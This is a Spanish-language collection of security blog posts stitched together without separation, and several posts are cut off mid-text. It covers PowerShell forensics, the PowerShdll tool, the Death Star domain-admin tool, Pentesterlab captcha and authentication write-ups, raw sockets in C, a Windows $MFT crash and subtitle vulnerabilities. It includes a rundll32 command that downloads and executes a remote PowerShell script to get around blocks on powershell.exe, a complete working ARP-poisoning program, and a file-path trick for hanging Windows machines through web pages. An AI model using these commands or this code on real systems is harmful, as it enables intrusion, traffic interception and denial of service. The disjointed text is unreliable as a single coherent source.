Hasta ahora, la forma más común de investigar el historial de comandos ejecutado en las shells durante un forense era utilizar los módulos CMDSCAN y CONSOLES en los frameworks rekall y Volatility, pero no siempre extraen todos los datos disponibles dentro de la sección de memoria del proceso de conhost. Adicionalmente, ejecutar el análisis de memoria utilizando estas herramientas suele ser lento ya que necesita un volcado de memoria completo.
Y otra cosa más: investigar los comandos ejecutados en una consola es más eficaz cuando se lleva a cabo inmediatamente después de que se abrió la consola porque la mayoría de los datos volátiles todavía residen en la memoria.

Es por eso que una herramienta fácil y rápida basada en Powershell será la
mejor opción para nuestro arsenal: por eso nace Get-ShellContent.

PowerShdll: Ejecuta PowerShell con rundll32

En un test de intrusión algunas veces (aunque desgraciadamente pocas) existen restricciones que permiten ejecutar powershell. Por ejemplo, puede darse el caso en el que vayamos a instalar un agente de Empire y nos encontremos con que el cliente bloquea powershell.exe. ¡No hay problema! PowerShdll v0.2 nos permite ejecutar Powershell sólo con dlls, mediante rundll32:

Ejecutar un script codificado en base64:

rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64")); Invoke-Expression $a

Descargar y ejecutar un script:

rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

Modo dll:
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window
rundll32 PowerShdll,main -i      Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output

Modo exe:
Usage:
PowerShdll.exe <script>
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console

Nota: En modo dll, el modo interactivo y la salida del comando dependen de secuestrar la consola del proceso padre. Si el proceso padre no tiene consola, hay que utilizar el parámetro -n para no mostrar la salida o de lo contrario la aplicación se bloqueará.

Proyecto: https://github.com/p3nt4/PowerShdll

Death Star: una herramienta para hacerse administrador de dominio con sólo pulsar un botón

Recientemente leía un artículo de byt3bl33d3r en el que afirmaba que el pentesting en el Directorio Activo es en la actualidad *relativamente* sencillo gracias a herramientas como Empire y BloodHound y, ciertamente, tiene toda la razón. Desde la irrupción de powershell los atacantes han encontrado una poderosa herramienta para evadir la seguridad en entornos Windows y han aparecido algunos toolkits ofensivos que facilitan enormemente la tarea. De hecho, os recomiendo que echéis un vistazo también al mod de Empire de nuestro compañero Luis Vacas que incluye nuevos e interesantes módulos.

Como comentamos, gracias a estos frameworks que usan powershell es posible hacerse con privilegios de administración con relativa facilidad y si eres pentester puedes encontrarte haciendo las mismas cosas una y otra vez. Por eso byt3bl33d3r pensó que era la hora de automatizar... y el resultado es espectacular y el sueño de todo script kiddie: la Estrella de la Muerte o Death Star, una herramienta de "botón gordo" que se encarga ella solita de obtener automáticamente el domain admin.

Antes de continuar y como recordatorio, decir que obtener el domain admin no debe ser la consecución final de un pentest porque existen otras tareas en la post-explotación como buscar recursos sensibles y otros activos vulnerables que puedan demostrar claramente hasta dónde podía haber impactado en la organización un ataque si se tratara de un compromiso real... pero tener un administrador de dominio, ¿facilitaría las cosas, verdad? ;)

Objetivos del proyecto e implementación

Originalmente el autor quería algo que sólo tomara la salida de BloodHound, analizarla, alimentarla a Empire y hacerla seguir la 'cadena'. Sin embargo, BloodHound parece que no tiene en cuenta las rutas que podrían lograrse habiendo escalado privilegios de dominio por ejemplo con las contraseñas de GPP en SYSVOL.

Así que quería una versión más "activa" de BloodHound con un comportamiento similar a un gusano. Además, Empire tiene la mayor parte de la funcionalidad principal de BloodHound cubierta entre todos sus módulos y, si no la tuviera, podía implementarse en un nuevo módulo (como por ej. el 'ACL attack path update').

Por eso decidió quedarse con Empire y automatizar todo usando su API RESTful. Esto también le daría la libertad de analizar la salida de un módulo como mejor le pareciera y tener más control sobre la lógica general y la retroalimentación del usuario.

[Pentesterlab write-up] Web For Pentester II - Captcha

Seguro que todos sabéis lo que es un captcha, normalmente una imagen de un texto para que lo identifiquemos visualmente y lo introduzcamos en un formulario y de esa manera demostrar que somos humanos. Digo una imagen de un texto pero ni que decir tiene ésto que ha evolucionado y hoy en día ya nos encontramos con captchas que nos proponen identificar ciertas formas, responder a diversas preguntas, interpretar un audio, etc. e incluso hacer un simple 'clic' con un algoritmo funcionando "en la sombra"...

Para quien no lo sepa, captcha viene del acrónimo "Completely Automated Public Turing test to tell Computers and Humans Apart " o, en castellano, prueba de Turing completamente automática y pública para diferenciar ordenadores de humanos, y afortunadamente su uso está adoptado ampliamente en los formularios de muchos sitios web.

Hace ya unos cuantos años vimos una serie de recursos para evadir estos "molestos" captchas y hoy de repente nos encontramos con una serie de ejercicios en el laboratorio 'Web for pentester II' que precisamente nos permitirán entender un poco y desarrollar los "bypasses" más sencillos contra esta medida. Así que vamos a ello.


Ejercicio 1:

El primer script tiene un fallo de lógica, básicamente si la aplicación recibe un captcha no válido no escapará correctamente, dándonos acceso sin necesidad de introducir nada.
Basta por lo tanto con interceptar la petición GET y quitar el parámetro captcha:

SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample1 < PBase
  
  use Rack::Session::Sequel

  set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example1', 'public')

  def self.path
    "/captcha/example1/"
  end
    
  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end
  
  get "/submit" do 
    if params[:captcha] and params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      redirect CaptchaExample1.path
    end
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example1', 'public',"captcha.png"))
    str  
  end

  def rand_str
    10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
  end

end

En crudo y sin censura RAW SOCKETS II (en C)

¡Qué tal! Ya estoy aquí con la segunda entrada de esta serie, que me da a mi que va a ser larga... ;D
Bueno como prometí en la entrada anterior vamos a ver el ejemplo que os dejé, vamos a ver las partes importantes de Sockets Raw, y añadiremos o modificaremos el código para conseguir un ejemplo más versátil...

Al lector: si incurro en cualquier error a lo largo de estos post agradecería vuestras correcciones.

Como primer ejercicio quiero que le echéis un vistazo más a fondo al código que está debajo de este párrafo, y leáis los comentarios donde a grandes rasgos explico el funcionamiento del ejemplo que os dejé la semana pasada, si no entendéis nada (nadie dijo que programar para sockets fuera a ser fácil), no agobiarse, basta con echarle un ojo para que cuando explique la teoría os suene por donde cae en el código:

#include <stdio.h>//libreria estandar
#include <stdlib.h>//libreria estandar
#include <unistd.h>// close(sock)
#include <string.h>//biblioteca standar
#include <netinet/if_ether.h> //estructuras ethernet arp headers
#include <net/if.h>// sockets interfaces locales
#include <sys/socket.h> // encabezado de sockets principales
#include <arpa/inet.h>//definiciones de las operaciones de Internet
#include <netpacket/packet.h>// struct sockaddr_ll
#include <net/ethernet.h>//id protos ethernet
#include <signal.h> //signal(SIGINT, cleanup);

#define IP4LEN 4 //define la 
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)
int sock;

void usage() { //funcion para mostrar el help del programa por pantalla
    puts("usage:\t./arp-poison <interface> <gateway ip> <mac addr>");
    puts("ex:\t./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
    exit(1);
        }

void cleanup() { //utilizaremos esta funcion para cerrar el socket
    close(sock); //mediante la funcion close() de <unistd.h>
    exit(0); //la funcion no retornara valor alguno
}

main(int argc, char ** argv) {
    char packet[PKTLEN]; //definimos la longitud del paquete a la suma del la cabecera ETHERNET+ARP
    struct ether_header * eth = (struct ether_header *) packet; //declaramos la variable eth y la apuntamos
    //a struct ether_headder del paquete (<netinet/if_ether.h>)

    struct ether_arp * arp = (struct ether_arp *) (packet + sizeof (struct ether_header)); //igual que el anteriot pero 
    //ether_arp para poder meter 
    //mas tarde valores.
    struct sockaddr_ll device; //<netpacket/packet.h> hacemos que  int sll_ifindex;apunte a nuestra variable device

    if (argc < 4) {//si los argumento pasados para lanzar el programa 
        usage();
    }//son inferiores a 4 lanzamos la funcion usage()mostrando asi la ayuda

    sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); //declaramos el socket con su familia,
    //tipo raw,protocolo. htons()convierte el entero corto sin signo hostshort  desde el orden de bytes del host al de la red.

    if (sock < 0) //si no se crea el shocket llamamos a exit()
        perror("socket"), exit(1);
    signal(SIGINT, cleanup);
    //RELLENAMOS LAS ESTRUCTURAS
    //recogemos la mac del argumento 3 (hexadecimal)
    //y se l pasamos a la structura ARP concretamente arp_sha[ETH_ALEN];/* sender hardware address */
    // de la libreria <netinet/if_ether.h> sin signo
    sscanf(argv[3], "%x:%x:%x:%x:%x:%x",  (unsigned int *) &arp->arp_sha[0],
                                          (unsigned int *) &arp->arp_sha[1],
                                          (unsigned int *) &arp->arp_sha[2],
                                          (unsigned int *) &arp->arp_sha[3],
                                          (unsigned int *) &arp->arp_sha[4],
                                          (unsigned int *) &arp->arp_sha[5]);
    
    //recogemos la ip pasada en el argumento 2 (decimal) a arp_spa <netinet/if_ether.h> entero
    sscanf(argv[2], "%d.%d.%d.%d",(int *) &arp->arp_spa[0],
                                  (int *) &arp->arp_spa[1],
                                  (int *) &arp->arp_spa[2],
                                  (int *) &arp->arp_spa[3]);
 ///////
  memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast  destination eth address */>/a la structura ethernet
  memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);//* "source ether addr" a structura etherne y a" hardware address" struc_arp 
  eth->ether_type = htons(ETH_P_ARP); 
  //pasamos el al heather ethernet el valor ETH_P_ARR
  //de if_ether.h "  ETH_P_ARP 0x080  Address Resolution packet */"
  arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
  arp->ea_hdr.ar_pro = htons(ETH_P_IP);
  arp->ea_hdr.ar_hln = ETH_ALEN;
  arp->ea_hdr.ar_pln = IP4LEN;
  arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
  memset(arp->arp_tha, 0xff, ETH_ALEN);
  memset(arp->arp_tpa, 0x00, IP4LEN);
  memset(&device, 0, sizeof(device));
  device.sll_ifindex = if_nametoindex(argv[1]);
  device.sll_family = AF_PACKET;
  memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
  device.sll_halen = htons(ETH_ALEN);

  puts("press ctrl+c to exit.");
  while (1) {
    printf("%s: %s is at %s\n", argv[1], argv[2], argv[3]);
    sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));//mandamos los paquetes
    sleep(2);
  }
  return 0;
}

Se que prometí no ponerme en rollo técnico, pero para empezar con sockets al menos nos deben sonar un par de conceptos críticos... intentaré ser lo mas simple y conciso que pueda...

Encapsulación de datos:

"En redes de ordenadores, encapsulación es un método de diseño modular de protocolos de comunicación en el cual las funciones lógicas de una red son abstraídas ocultando información a las capas de nivel superior".

Windows 7 y 8.1 se bloquearán con sólo intentar abrir c:\$MFT\123

Desde su creación, Windows tiene varios nombres de archivo que son "especiales" porque no corresponden a ningún archivo real, sino que representan dispositivos de hardware. Se puede acceder a estos nombres de archivo especiales desde cualquier ubicación del sistema de archivos, aunque realmente no existan en el disco. Sin embargo, existen algunos errores en la forma que manejan estos archivos que pueden hacer que el sistema quede bloqueado e incluso colgado...

Windows 95/98 manejaba bien los accesos al dispositivo de la consola (con), es decir al teclado y a la pantalla, pero los problemas surgían cuando el nombre de archivo aparecía dos veces, por ejemplo c:\con\con. En ese caso... pantallazo azúl de la muerte... y risas... Por supuesto, si se hacía referencia a ese archivo desde una página web, siguiendo con el ejemplo file:///c:/con/con, la máquina "crasheaba" también como los ángeles, sólo accediendo a la página malintencionada.

Y como a la Compañía de Redmond no le gusta perder las malas costumbres, se ha descubierto recientemente que Windows 7 y 8.1 (Windows 10 parece que se salva) también nos deleita con bonitos bloqueos y pantallazos azules de la muerte (o BSOD) al manejar nombres de archivo especiales. Esta vez, el nombre de archivo especial es $MFT.


$MFT es el nombre dado a uno de los archivos de metadatos especiales que son utilizados por el sistema de archivos NTFS de Windows. El archivo existe en el directorio raíz de cada volumen NTFS, pero el controlador NTFS lo maneja de manera especial y está oculto e inaccesible a la mayoría del software. Los intentos de abrir el archivo normalmente se bloquean, pero de una manera similar a los fallos de Windows 9x, si se utiliza el nombre de archivo como si fuera un nombre de directorio, por ejemplo intentando abrir el archivo c:\$MFT\123, el driver NTFS bloquea el archivo y nunca lo libera. Cada operación posterior queda a la espera de que se libere y a continuación se bloquean todos y cada uno de los demás intentos de acceso al sistema de archivos, por lo que cada programa comenzará a colgarse, haciendo que la máquina sea inutilizable hasta que se reinicie.

Y, como sucedió hace casi 20 años, las páginas web que usan el nombre de archivo incorrecto (por ejemplo como el source de una imagen) provocan el error y hacen que la máquina deje de responder. Dependiendo de lo que la máquina está haciendo en ese momento podremos dsifrutar o no de un bonito pantallazo azul. De cualquier forma, se necesitará reiniciar el equipo para recuperarlo. Algunos exploradores bloquearán los intentos de acceso a estos recursos locales, pero Internet Explorer, por ejemplo, intentará acceder al archivo incorrecto.

De momento no se ha conseguido hacerlo al revés, es decir que se caiga el servidor enviándole la solicitud de un nombre de archivo incorrecto, pero tiempo al tiempo... De momento el tio Bill ya ha sido informado aunque el problema todavía no ha sido parcheado.

Enjoy trolling!

En crudo y sin censura RAW SOCKETS I (en C)

Aprovechando que tengo que guardar reposo por un mini accidente laboral (tres puntos... ya sólo me quedan dos para el perro piloto) y no tengo nada mucho mejor que hacer, he decidido ponerme con algo que llevaba postponiendo un tiempo (permitirme la redundancia) ...salsear un poquito con los  SOCKETS en C y ya de paso escribir una entrada en el blog... que me prodigo últimamente bien poco....y no hay que perder las buenas costumbres.

A lo largo de esta serie de entradas intentaré mostrar para qué podemos utilizar la programación de sockets (sobre todo los RAW)  siempre mirando desde un prisma....digamos que oscuro....

Soy consciente que no es un tema fácil de tratar, y mucho menos hacer que la lectura sea liviana a la par que amena...

Para seguir estos posts es necesario tener unos conocimientos mínimos de redes, un poquito de C, así como disponer de una máquina linux, puesto que este tostón está orientado a sistemas Linux o Unix, como ya es común en mis entradas.

No pretendo desanimar a nadie, ya sea por lo de los conocimientos o por tener otro S.O... en ambos casos es facil (mas o menos) seguir las entradas. Es más, os animo a ello.

También quiero dejar claro que que vamos a abordar el tema desde un punto de vista práctico sin entrar mucho en detalles técnicos, si no podría ser una entrada eterna y tampoco pretendo explicar el modelo OSI (de lectura muy recomendada), a muchos os aburriría, así que lo veremos de soslayo.

Ejecución remota de comandos mediante ¡subtítulos maliciosos!

Los investigadores de Check Point han revelado un nuevo vector de ataque que amenaza a millones de usuarios que utilizan reproductores de medios tan populares como VLC, Kodi (XBMC), Popcorn Time y Stremio. Se trata de archivos de subtítulos maliciosos para películas y series que pueden permitir a un atacante tomar el control completo de cualquier dispositivo que lo cargue en las plataformas vulnerables.

"La cadena de suministro de subtítulos es compleja, con más de 25 formatos de subtítulos diferentes, todos con características y capacidades únicas. Este ecosistema fragmentado, junto con una seguridad limitada, significa que hay múltiples vulnerabilidades que podrían ser explotadas, convirtiéndolo en un objetivo muy atractivo para los atacantes ", dijo Omri Herscovici, líder del equipo de investigación de la vulnerabilidad de Check Point.

Demo

El siguiente video es una prueba de concepto cómo se llevan a cabo este tipo de ataques:

Los subtítulos para películas o programas de TV son creados por una amplia gama de autores y subidos a repositorios online compartidos, como OpenSubtitles.org, donde están indexados y clasificados. Los investigadores también demostraron que manipulando el algoritmo de clasificación de los repositorios, los subtítulos maliciosos pueden ser descargados automáticamente por el reproductor de medios, lo que permite a un hacker tomar el control completo de toda la cadena de suministro de subtítulos sin la interacción del usuario.

¿Cuántos usuarios se ven afectados?

VLC tiene más de 170 millones de descargas de su última versión, lanzada el 5 de junio de 2016. Kodi (XBMC) ha alcanzado más de 10 millones de usuarios únicos por día, y casi 40 millones de usuarios únicos por mes. No existen estimaciones actuales para el uso de Popcorn Time, pero se estima que son decenas de millones.

Check Point tiene razones para creer que existen vulnerabilidades similares en otros reproductores multimedia de streaming.

¿Cuales son los productos vulnerables confirmados hasta ahora?

Esta es una lista de los programas junto a las versiones vulnerables. Si dispones de una en tu ordenador u otros dispositivos, lo mejor es que la desinstales o actualices:
  •     PopcornTime – https://ci.popcorntime.sh/job/Popcorn-Time-Desktop/249
  •     Kodi – https://github.com/xbmc/xbmc/pull/12024)
  •     VLC – http://get.videolan.org/vlc/2.2.5.1/win32/vlc-2.2.5.1-win32.exe
  •     Stremio https://megahexandword.com/rnw_H8hGnAaWDkyg
¿Y las vulnerabilidades?

Los desarrolladores de VLC fueron contactados en abril y clasificaron las vulnerabilidades en cuatro. Cada una de ellas (CVE-2017-8310, CVE-2017-8311, CVE-2017-8312 y CVE-2017-8313) ya ha sido parcheadas. Se trata de desbordamiento de pila que permite ejecución remota de comandos y todavía no se han publicado los exploits correspondientes.

¿Qué puedes hacer?

Desde que se revelaron las vulnerabilidades, las cuatro compañías han solucionado los problemas reportados. Stremio y VLC también han lanzado nuevas versiones de software que incorporan esta corrección.

Fuentes:

- Hacked in Translation – from Subtitles to Complete Takeover
- Hackers can use subtitles to take over millions of devices running VLC, Kodi, Popcorn Time and Stremio
- Hackers pueden usar subtítulos en Kodi y VLC para obtener acceso a tu PC y smartphone
- ¡Cuidado! Esconden virus en los subtítulos para Kodi, VLC o Popcorn Time
- Este virus toma el control de tu PC con subtítulos en VLC y Kodi
- Malicious Subtitles Allow Hackers to Commandeer Devices Running Streaming Software
- Subtitle Hack Leaves 200 Million Vulnerable to Remote Code Execution
- Be careful! They can hack you through subtitles while you are watching movies

[Pentesterlab write-up] Web For Pentester II - Authentication

Hoy continuamos con los ejercicios de autenticación del laboratorio de Pentesterlab 'Web for pentester II'.

Recordar que, en el contexto de una aplicación web, la autenticación es el proceso por el que se verifica la identidad de un usuario, normalmente mediante una contraseña. Una vez validado, el servidor debe manejar la sesión del usuario para poder seguir interactuando con él. Las sesiones deben ser mantenidas con un identificador único y no predecible.

Las vulnerabilidades relacionadas con la autenticación y la gestión de sesiones son críticas porque permiten a un atacante suplantar la identidad de un usuario y, por lo tanto, tener sus privilegios de acceso.

Veamos algunos de los fallos más típicos y cómo explotarlos.


Ejercicio 1:

Las contraseñas predecibles son probablemente la forma más fácil y común de evadir autenticaciones. Para empezar basta con probar la misma contraseña que el nombre de usuario (admin) y estaremos dentro:


SERVIDOR
require 'sinatra/base'


class AuthenticationExample1 < PBase
  
  set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
  
  CREDS =  "admin:admin"
  
  def self.path
    "/authentication/example1/"
  end
  helpers do
    def protected!
      unless authorized?
        response['WWW-Authenticate'] = %(Basic realm="Username is admin, now you need to guess the password")
        throw(:halt, [401, "Not authorized\n"])
      end
    end

    def authorized?
      @auth ||=  Rack::Auth::Basic::Request.new(request.env)
      return false unless @auth.provided? && @auth.basic? && @auth.credentials
      return CREDS ==  @auth.credentials.join(":")
    end
  end
  get '/' do
    protected!
    erb :index
  end
end

Ejercicio 2:

En este ejercicio el problema es que se utiliza una comparación de strings “non-time-constant”, esto significa que la página web analizará la cadena introducida carácter por carácter hasta que encuentre un error, ya que el programador no se molestó en incluir algún tipo de código para aleatorizar o estandarizar el tiempo que tarda la página en analizar los datos.